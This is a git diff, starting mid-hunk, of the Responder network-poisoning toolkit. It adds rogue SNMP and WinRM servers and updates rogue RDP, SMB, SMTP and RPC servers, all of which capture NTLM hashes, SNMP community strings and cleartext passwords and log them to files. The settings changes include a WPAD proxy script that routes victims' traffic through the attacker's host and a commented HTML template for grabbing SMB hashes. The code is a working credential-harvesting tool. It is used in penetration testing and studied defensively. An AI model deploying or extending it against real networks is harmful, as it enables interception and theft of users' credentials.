Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
@@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge):
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
||||
Buffer.calculate()
|
||||
return Buffer
|
||||
#Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
||||
#Buffer.calculate()
|
||||
#Return a TCP RST, so the client uses direct connection and avoids disruption.
|
||||
return RST
|
||||
else:
|
||||
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
|
||||
|
||||
@@ -93,7 +94,7 @@ def PacketSequence(data, client, Challenge):
|
||||
if settings.Config.Basic:
|
||||
Response = WPAD_Basic_407_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
|
||||
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
Response = WPAD_Auth_407_Ans()
|
||||
|
||||
10
servers/RDP.py
Normal file → Executable file
10
servers/RDP.py
Normal file → Executable file
@@ -98,6 +98,11 @@ class RDP(BaseRequestHandler):
|
||||
self.request.settimeout(30)
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert, key)
|
||||
|
||||
if data[11:12] == b'\x01':
|
||||
x = X224(Data=RDPNEGOAnswer())
|
||||
x.calculate()
|
||||
@@ -105,7 +110,7 @@ class RDP(BaseRequestHandler):
|
||||
h.calculate()
|
||||
buffer1 = str(h)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
SSLsock = context.wrap_socket(self.request, server_side=True)
|
||||
SSLsock.settimeout(30)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||
@@ -125,8 +130,7 @@ class RDP(BaseRequestHandler):
|
||||
buffer1 = str(h)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(8092)
|
||||
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
SSLsock = context.wrap_socket(self.request, server_side=True)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
|
||||
@@ -47,7 +47,7 @@ def Chose3264x(packet):
|
||||
|
||||
def FindNTLMOpcode(data):
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
if SSPIStart is -1:
|
||||
if SSPIStart == -1:
|
||||
return False
|
||||
SSPIString = data[SSPIStart:]
|
||||
return SSPIString[8:12]
|
||||
@@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#LSARPC
|
||||
@@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#WINSPOOL
|
||||
@@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#NetLogon
|
||||
|
||||
@@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client):
|
||||
WordCount = data[HeadLen]
|
||||
ChainedCmdOffset = data[HeadLen+1]
|
||||
|
||||
if ChainedCmdOffset == "\x75":
|
||||
if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117:
|
||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
|
||||
if PassLen > 2:
|
||||
@@ -200,17 +200,16 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
if not data:
|
||||
break
|
||||
|
||||
if data[0] == "\x81": #session request 139
|
||||
if data[0:1] == b"\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
try:
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
||||
##Negotiate proto answer SMBv2.
|
||||
if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
|
||||
if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data):
|
||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||
t = SMB2NegoAns()
|
||||
t.calculate()
|
||||
@@ -219,7 +218,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
## Session Setup 1 answer SMBv2.
|
||||
## Nego answer SMBv2.
|
||||
if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
|
||||
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
|
||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||
@@ -238,7 +237,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
|
||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
t = SMB2Session2Data()
|
||||
@@ -248,7 +247,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Negotiate Protocol Response smbv1
|
||||
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
|
||||
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None:
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
|
||||
Body.calculate()
|
||||
@@ -333,10 +332,10 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(1024)
|
||||
Challenge = RandomChallenge()
|
||||
if data[0] == b"\x81": #session request 139
|
||||
if data[0:1] == b"\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
@@ -65,7 +65,7 @@ class ESMTP(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
try: Password = b64decode(data)
|
||||
try: Password = b64decode(data).decode('latin-1')
|
||||
except: Password = data
|
||||
|
||||
SaveToDb({
|
||||
|
||||
62
servers/SNMP.py
Executable file
62
servers/SNMP.py
Executable file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from binascii import hexlify
|
||||
from pyasn1.codec.ber.decoder import decode
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
class SNMP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
data = self.request[0]
|
||||
received_record, rest_of_substrate = decode(data)
|
||||
|
||||
snmp_version = int(received_record['field-0'])
|
||||
|
||||
if snmp_version == 3:
|
||||
full_snmp_msg = hexlify(data).decode('utf-8')
|
||||
received_record_inner, _ = decode(received_record['field-2'])
|
||||
snmp_user = str(received_record_inner['field-3'])
|
||||
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
|
||||
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
|
||||
|
||||
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3",
|
||||
"client" : self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": auth_params,
|
||||
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
|
||||
})
|
||||
else:
|
||||
community_string = str(received_record['field-1'])
|
||||
snmp_version = '1' if snmp_version == 0 else '2c'
|
||||
|
||||
SaveToDb(
|
||||
{
|
||||
"module": "SNMP",
|
||||
"type": "Cleartext SNMPv{}".format(snmp_version),
|
||||
"client": self.client_address[0],
|
||||
"user": community_string,
|
||||
"cleartext": community_string,
|
||||
"fullhash": community_string,
|
||||
}
|
||||
)
|
||||
185
servers/WinRM.py
Normal file
185
servers/WinRM.py
Normal file
@@ -0,0 +1,185 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import codecs
|
||||
from utils import *
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler, StreamRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from base64 import b64decode, b64encode
|
||||
from packets import NTLM_Challenge
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans
|
||||
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
||||
|
||||
# Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data, Challenge, client, module):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen]
|
||||
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
|
||||
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
|
||||
if NthashLen == 24:
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
|
||||
SaveToDb({
|
||||
'module': module,
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': User,
|
||||
'hash': LMHashFinal+':'+NTHashFinal,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
|
||||
SaveToDb({
|
||||
'module': module,
|
||||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': Domain + '\\' + User,
|
||||
'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client, Challenge):
|
||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
|
||||
if NTLM_Auth or NTLM_Auth2:
|
||||
if NTLM_Auth2:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
|
||||
if Packet_NTLM == b'\x01':
|
||||
Buffer = NTLM_Challenge(NegoFlags="\x35\x82\x89\xe2", ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
if NTLM_Auth2:
|
||||
Buffer_Ans = WinRM_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
return Buffer_Ans
|
||||
else:
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == b'\x03':
|
||||
if NTLM_Auth2:
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
|
||||
else:
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, "WinRM")
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return Buffer
|
||||
|
||||
elif Basic_Auth:
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'WinRM',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||
})
|
||||
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return Buffer
|
||||
else:
|
||||
if settings.Config.Basic:
|
||||
r = IIS_Basic_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
r = IIS_Auth_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return Response
|
||||
|
||||
# HTTP Server class
|
||||
class WinRM(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
Challenge = RandomChallenge()
|
||||
while True:
|
||||
self.request.settimeout(3)
|
||||
remaining = 10*1024*1024 #setting max recieve size
|
||||
data = ''
|
||||
while True:
|
||||
buff = ''
|
||||
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
|
||||
if buff == '':
|
||||
break
|
||||
data += buff
|
||||
remaining -= len(buff)
|
||||
#check if we recieved the full header
|
||||
if data.find('\r\n\r\n') != -1:
|
||||
#we did, now to check if there was anything else in the request besides the header
|
||||
if data.find('Content-Length') == -1:
|
||||
#request contains only header
|
||||
break
|
||||
else:
|
||||
#searching for that content-length field in the header
|
||||
for line in data.split('\r\n'):
|
||||
if line.find('Content-Length') != -1:
|
||||
line = line.strip()
|
||||
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||
if remaining <= 0:
|
||||
break
|
||||
if data == "":
|
||||
break
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
except:
|
||||
self.request.close()
|
||||
raise
|
||||
pass
|
||||
|
||||
206
settings.py
206
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.0.5.0'
|
||||
__version__ = 'Responder 3.1.4.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -42,25 +42,56 @@ class Settings:
|
||||
return str.upper() == 'ON'
|
||||
|
||||
def ExpandIPRanges(self):
|
||||
def expand_ranges(lst):
|
||||
def expand_ranges(lst):
|
||||
ret = []
|
||||
for l in lst:
|
||||
tab = l.split('.')
|
||||
x = {}
|
||||
i = 0
|
||||
for byte in tab:
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0])
|
||||
x[i+1] = int(b[1])
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
ret.append('%d.%d.%d.%d' % (a, b, c, d))
|
||||
if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses
|
||||
while l.count(':') < 7:
|
||||
pos = l.find('::')
|
||||
l = l[:pos] + ':' + l[pos:]
|
||||
tab = l.split(':')
|
||||
x = {}
|
||||
i = 0
|
||||
xaddr = ''
|
||||
for byte in tab:
|
||||
if byte == '':
|
||||
byte = '0'
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte, base=16)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0], base=16)
|
||||
x[i+1] = int(b[1], base=16)
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
for e in range(x[8], x[9]+1):
|
||||
for f in range(x[10], x[11]+1):
|
||||
for g in range(x[12], x[13]+1):
|
||||
for h in range(x[14], x[15]+1):
|
||||
xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h))
|
||||
xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address
|
||||
xaddr = re.sub(':{3,7}', '::', xaddr, count = 7)
|
||||
ret.append(xaddr)
|
||||
else:
|
||||
tab = l.split('.')
|
||||
x = {}
|
||||
i = 0
|
||||
for byte in tab:
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0])
|
||||
x[i+1] = int(b[1])
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
ret.append('%d.%d.%d.%d' % (a, b, c, d))
|
||||
return ret
|
||||
|
||||
self.RespondTo = expand_ranges(self.RespondTo)
|
||||
@@ -68,7 +99,7 @@ class Settings:
|
||||
|
||||
def populate(self, options):
|
||||
|
||||
if options.Interface is None and utils.IsOsX() is False:
|
||||
if options.Interface == None and utils.IsOsX() == False:
|
||||
print(utils.color("Error: -I <if> mandatory option is missing", 1))
|
||||
sys.exit(-1)
|
||||
|
||||
@@ -83,7 +114,7 @@ class Settings:
|
||||
# Config parsing
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||
|
||||
|
||||
# Servers
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
@@ -94,10 +125,13 @@ class Settings:
|
||||
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
|
||||
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
|
||||
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
||||
self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT'))
|
||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
||||
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
||||
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
||||
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
|
||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
|
||||
|
||||
# Db File
|
||||
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
|
||||
@@ -113,14 +147,72 @@ class Settings:
|
||||
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
|
||||
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
|
||||
|
||||
# CLI options
|
||||
self.ExternalIP = options.ExternalIP
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.NOESS_On_Off = options.NOESS_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.DHCP_On_Off = options.DHCP_On_Off
|
||||
self.Basic = options.Basic
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
self.Verbose = options.Verbose
|
||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||
self.CommandLine = str(sys.argv)
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
|
||||
self.DHCP_DNS = options.DHCP_DNS
|
||||
self.ExternalIP6 = options.ExternalIP6
|
||||
self.Quiet_Mode = options.Quiet
|
||||
|
||||
if self.Interface == "ALL":
|
||||
self.Bind_To_ALL = True
|
||||
else:
|
||||
self.Bind_To_ALL = False
|
||||
#IPV4
|
||||
if self.Interface == "ALL":
|
||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||
else:
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
#IPV6
|
||||
if self.Interface == "ALL":
|
||||
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
|
||||
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
|
||||
else:
|
||||
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
|
||||
|
||||
#External IP
|
||||
if self.ExternalIP:
|
||||
if utils.IsIPv6IP(self.ExternalIP):
|
||||
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
|
||||
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
self.ExternalResponderIP = utils.RespondWithIP()
|
||||
else:
|
||||
self.ExternalResponderIP = self.Bind_To
|
||||
|
||||
#External IPv6
|
||||
if self.ExternalIP6:
|
||||
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
|
||||
self.ExternalResponderIP6 = utils.RespondWithIP6()
|
||||
else:
|
||||
self.ExternalResponderIP6 = self.Bind_To6
|
||||
|
||||
self.Os_version = sys.platform
|
||||
|
||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
||||
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
||||
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
|
||||
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
|
||||
self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt')
|
||||
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
||||
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
||||
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
||||
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
|
||||
|
||||
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
||||
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
||||
@@ -143,12 +235,22 @@ class Settings:
|
||||
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
||||
|
||||
if self.Serve_Exe is True:
|
||||
if len(self.HtmlToInject) == 0:
|
||||
self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
||||
|
||||
if len(self.WPAD_Script) == 0:
|
||||
if self.WPAD_On_Off:
|
||||
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}'
|
||||
|
||||
if self.ProxyAuth_On_Off:
|
||||
